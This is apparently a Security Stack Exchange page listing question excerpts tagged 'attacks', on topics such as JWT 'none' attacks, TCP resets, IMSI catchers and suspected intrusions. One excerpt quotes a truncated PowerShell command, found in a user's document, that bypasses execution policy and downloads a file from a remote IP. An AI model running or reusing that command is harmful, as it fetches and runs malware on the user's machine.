Questions tagged [attacks]

An attempt to exploit a weakness in a system, either for nefarious or research reasons. Questions with this tag should be about designing, carrying out, or defending against the attack itself, rather than about the underlying weakness.

Filter by
Sorted by
Tagged with
1
vote
0answers
84 views

Unknown website tries to connect to my website [duplicate]

A few minutes ago an error popped up on my error tracing app. I'm hosting a Django app which has login system. The error says: Invalid HTTP_HOST header: 'www.moxing.one'. You may need to add 'www....
0
votes
1answer
151 views

exploiting CVE-2020-0668 problem

I've been trying to get mentioned security error working on my machine so I could fully understand how it works. I've been following those instructions: https://itm4n.github.io/cve-2020-0668-windows-...
0
votes
0answers
42 views

Database that contains timespans of cyber attacks in the web [closed]

For a project I need to evaluate a model that tries to predict whether a certain cyber-attack (i.e. connection to a low level honeypot) is just a random access, a new attack-wave or an already known ...
0
votes
0answers
34 views

Need Help for Outbound Communication [closed]

Do we need to raise an alert for outbound communication if traffic is deny or blocked at firewall level?
3
votes
1answer
99 views

How dangerous are SWEET32 and LUCKY13 vulnerabilities?

I wonder how vulnerable are Sweet32 and Lucky13? I mean, how often do the attackers use these vulnerabilities to gain access?
0
votes
0answers
72 views

Bypassing Secure Boot in System on Chip

To bypass a secure boot for System on Chip (SoC), some attacks target the phase of copying the bootloader from where it is stored to the main memory. Instead, a malicious code will be copied to the ...
0
votes
1answer
97 views

What should I do during the Man in the middle attack? [closed]

I have a question about Man in the Middle attack. What should I do during the Man in the middle attack? In case I am already connected with a friend of mine on the net, but I suspect that there is ...
0
votes
0answers
30 views

What are the main differences between a covert timing channel and a covert storage channel?

I am trying to find the differences between a covert timing channel and a covert storage channel in terms of detectability, performance, features, and any other advantages and disadvantages. Is ...
1
vote
2answers
125 views

See the contents of https/ssl data weeks after leaving the wfi

I just recently broke up with my ex boyfriend, I am not computer smart but he is, scary computer smart and can basically do anything, with lots of schooling and whatever it is he does for work... I ...
75
votes
6answers
19k views

Can malicious code fit in 14 bytes?

I was reading this The New York Times (NYT) article about the hack of Jeff Bezos's phone. The article states: The May 2018 message that contained the innocuous-seeming video file, with a tiny 14-...
1
vote
1answer
113 views

Attack that stops internet access for several minutes

I have a question that might sound a bit weird: A friend of mine (Person A) is being attacked by a former friend (Person B) and now person A asked me for help. Person A and Person B know each other ...
65
votes
5answers
14k views

My email address is being used to enroll for online services. Should I be concerned?

Just before Christmas I received the following message in one of my GMail accounts: Sign-in attempt was blocked ********@gmail.com [redacted by me] Someone just used your password to try to ...
2
votes
0answers
209 views

TCP reset attack / forged TCP reset prevention

How do you prevent someone from doing an TCP reset attack between client and host without having acess to host? I am trying to solve a CTF for fun and learning purposes. In one of the challenges I ...
0
votes
1answer
57 views

In what ways can the contents of RAM be (inadvertently) written to disk?

I'm working on improving the security of my own system by mitigating the chance sensitive information, (e.g. encryption keys) stored in RAM, are inadvertently written to disk. As of now I know of ...
0
votes
1answer
41 views

Is a differentially private SQL database relatively more secure from an SQL injection?

I've been in security for a while now but I'm relatively new to privacy. I've been studying differential privacy and its application to databases. However I'm still a little confused about where ...
1
vote
4answers
312 views

Possible attacks over SSH

Let's say there is a target machine T, to which I want to connect. T is in a private network so I need to connect to it via some proxy machine P (which is connected to that network). For this reason I ...
1
vote
2answers
135 views

How do we secure image parsing libraries against buffer overflow?

New to buffer overflow through image parsing. How can one design a secure library that parses images, and ensure there are no security vulnerabilities in it? It is common knowledge that image parsing ...
4
votes
2answers
894 views

Can someone hack my phone by sending me a file (e.g. PDF) via Whatsapp?

My work requires (and depends on) Whatsapp for daily sharing of files with many people (PDF, PowerPoint, Word, Images, Web links...), and I was wondering if it is possible that someone can hack our ...
0
votes
0answers
48 views

Are there LTE attacks besides aLTEr?

Background: I understand that most attacks on cell network-subscribed individuals rely on exploiting the poor authentication of GSM/2G comms. And if the victim is on LTE, then the next best strategy ...
0
votes
0answers
64 views

How does an IMSI catcher “impersonate” a base station/cell tower?

On reading about IMSI catchers, I keep seeing that they "impersonate" a real cell tower or "base station" so that the phone drops its signal-carried data on that machine while on its way to the ...
1
vote
0answers
139 views

Wi-Fi passphrase changed overnight—bug or attack?

This morning I discovered that the WPA-Personal passphrase of my residential ISP–provided wireless router had been truncated to the first 3 characters. Everything else in its configuration appeared to ...
0
votes
0answers
35 views

Keeping devices secure on a WIFI network [duplicate]

I am using a public WIFI network before work how do i keep my devices secure on this network? I am looking to prevent a attacker using a packet sniffer to grab my data and i am looking to prevent ...
-2
votes
1answer
170 views

Is editing a link using inspect element a valid XSS attack?

Using inspect element, I can edit a link opens a popup in edge with the text "1". Is it a possible XSS attack?
0
votes
1answer
68 views

Thought process on Network Protocol Attack

I'm preparing for an introductory information security examination in university and this is one of the tutorial question on Network Protocol attacks. I tried (a) and came to this conclusion: Since ...
2
votes
2answers
141 views

What should I think about users with huge numbers of successful login attempts in a short period?

What to think about a user making thousands of successful login attempts over a short period? What are the dangers of such a behavior and how to protect against them? A couple of examples of dangers ...
1
vote
0answers
105 views

Display filter to see WPS attempts in WireShark [closed]

My neighbour is actively trying WPS pins on my router - I know because the "WiFi/WPS" LED on my router lit up when I have permanently turned it off! I double checked the setting using the router admin ...
0
votes
0answers
18 views

What kind of attacks can a virtual keyboard limit? [duplicate]

If I was going to let someone typing using a virtual keyboard instead of a traditional physical keyboard for filling in a form or anything else with form submitting, what kinds of attacks can be ...
1
vote
0answers
93 views

Some questions regarding Red Hat Linux and a case study [closed]

As part of a course I'm doing, it's presented a case study. I'm a bit stuck and not too sure where to find further info. If someone could point me in the direction, I'd appreciate it. In this case ...
44
votes
9answers
8k views

I have just 4 hours a month to security check a cloud based application - How to use my time?

I've been tasked with looking after an application deployed to azure. I have been allocated 4 hours a month. I essentially have half a workday to secure this application / keep it secure. What is an ...
0
votes
4answers
144 views

Attacks on password-based encryption

Frequent attacks on password-based encryption are dictionary attacks with special hardware. I suspect that this is the only promising attack on the ciphertext. Is that correct? Another attack ...
3
votes
2answers
142 views

How do attacks on web browsers succeed? [closed]

We all know that attacks on web browsers are entirely possible. This includes attacks such as drive-by downloads, MITB (man-in-the-browser) attacks and keylogger browser plugins/extensions. However, ...
0
votes
0answers
38 views

Actions after identifying exploitation attempts on servers or applications

I am seeing regular exploitation attempts (like remote code execution, sql injection, etc.) on our DMZ server or applications and these are being dropped by the firewall. However, our SIEM is raising ...
1
vote
1answer
79 views

Protect admin page using proxy

I want to protect my admin page not only with a login and password, but also with IP filtering as described here: https://security.stackexchange.com/a/30649/68841 But I have two questions: Can I use ...
1
vote
2answers
86 views

How to Prevent Access to Local Machine's Data

Please excuse the terminology as I'm no expert in information security. My question is pretty straightforward: How can I guarantee* that I am the only one with access to my local machine's data (...
1
vote
1answer
116 views

Having problems with performing a JWT “none” algorithm attack

I'm taking a course where I must breach a site which uses 2015 version of JWT for authentication. They gave me the test//test login information and I must login with admin. After I log in, I receive ...
1
vote
0answers
128 views

Bizarre request being made from Chrome

I've been seeing a very weird request being made from my Chrome browser (haven't noticed it on Brave). It does not run on all websites, and not all the time (it can appear on a website, then after a ...
0
votes
0answers
47 views

Are nodes that are mobile in a IoT network more vulnerable to certain types of attacks?

I have my final year dissertation coming up and I'm thinking of doing a project where I evaluate attacks on an IoT network using Contiki/Cooja simulator. The project as it stands is too simple and has ...
0
votes
0answers
41 views

After being AFK for a few hours, I found PowerShell commands in the currently opened LibreOffice document [duplicate]

I was AFK for a few hours. This is what I saw in my LibreOffice document when I returned to my laptop: cmd.exe /c PoweExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92....
0
votes
1answer
87 views

Is there a danger to client port scanning?

Are there any security risks associated with client-side port scanning? Or, more specifically, a "trusted" site (e.g., banking website) loading javascript trying to connect to various localhost ports? ...
2
votes
1answer
133 views

How were Cryptographic nonces used in the Yahoo! data breach?

How does an attacker use Cryptographic nonces to generate access cookies through a script on a server? As what happened to Yahoo! servers.
0
votes
2answers
109 views

What is so important about 'clicking'?

Why do we need to be careful when 'clicking' things? In other words, why do most security breaches involve clicking? Why doesn't simply loading something already constitute an issue? Why is the act of ...
1
vote
3answers
109 views

Is exposing enumerated id's a bad idea if precautions are taken?

Say I have a website that has the URL website.com/student/{studentId}/courses for retrieving all the courses a student is enrolled in. The studentId is an auto-incrementing value in the Student table ...
0
votes
1answer
273 views

Preventing Basic Directory Traversal Attack in Linux application

I have a Raspberry Pi connected to my network and keep getting this vulnerability warning from my security software. I turned off the apache2 web server on the Pi, which fixed my port 80 issue but ...
0
votes
1answer
1k views

My router is getting port scan attacks [duplicate]

My internet suddenly cut out yesterday, i checked the router and it looked like nothing is wrong. I looked at the logs and i see this 2019-08-18 12:50:39 Security Warning Detect UDP port scan ...
3
votes
2answers
256 views

How does a security countermeasure failure impact a system?

In the context of safety-critical systems, such as transportation systems, it is important to verify if such systems meet/do not meet safety requirements. ISO26262 expresses these requirements as a ...
4
votes
1answer
136 views

How can I challenge an attacker to reliably identify their hardware? [closed]

I distribute a client application where I would like to identify a user's hardware specifications when they begin interacting with my server. I am specifically interested in identifying the user's GPU ...
2
votes
1answer
108 views

Unix/Linux shells which use effective UID instead of real UID

My question is build on top of the answer of the question about SUID exploitation: SUID not used after exploit The person (official answer) is stating that: Many popular implementations of sh ...
1
vote
1answer
333 views

Detecting a Pixie Dust attack? How much of a trace does it leave behind?

I've recently been delving more into Wifi security and am starting with Pixie Dust, I've learned about it, mostly how it works (with the pins, being able to crack two halves of the pins and whatnot, ...
1
vote
0answers
158 views

mitmproxy request URL redirection does not work

I need to redirect the user's request in such a way when a user enters: https://a.com the mitmproxy redirect it to: https://www.newsite.com/?somepage From a previous post, I found this script in the ...
1
vote
2answers
93 views

adaptive vs. non-adaptive adversaries; Is there a precise, unique and general definition?

In this Ethereum github page (Link to the page: https://github.com/ethereum/wiki/wiki/Sharding-FAQ#what-are-the-security-models-that-we-are-operating-under) there is a very brief definition of the ...

1 2 3 4 5 23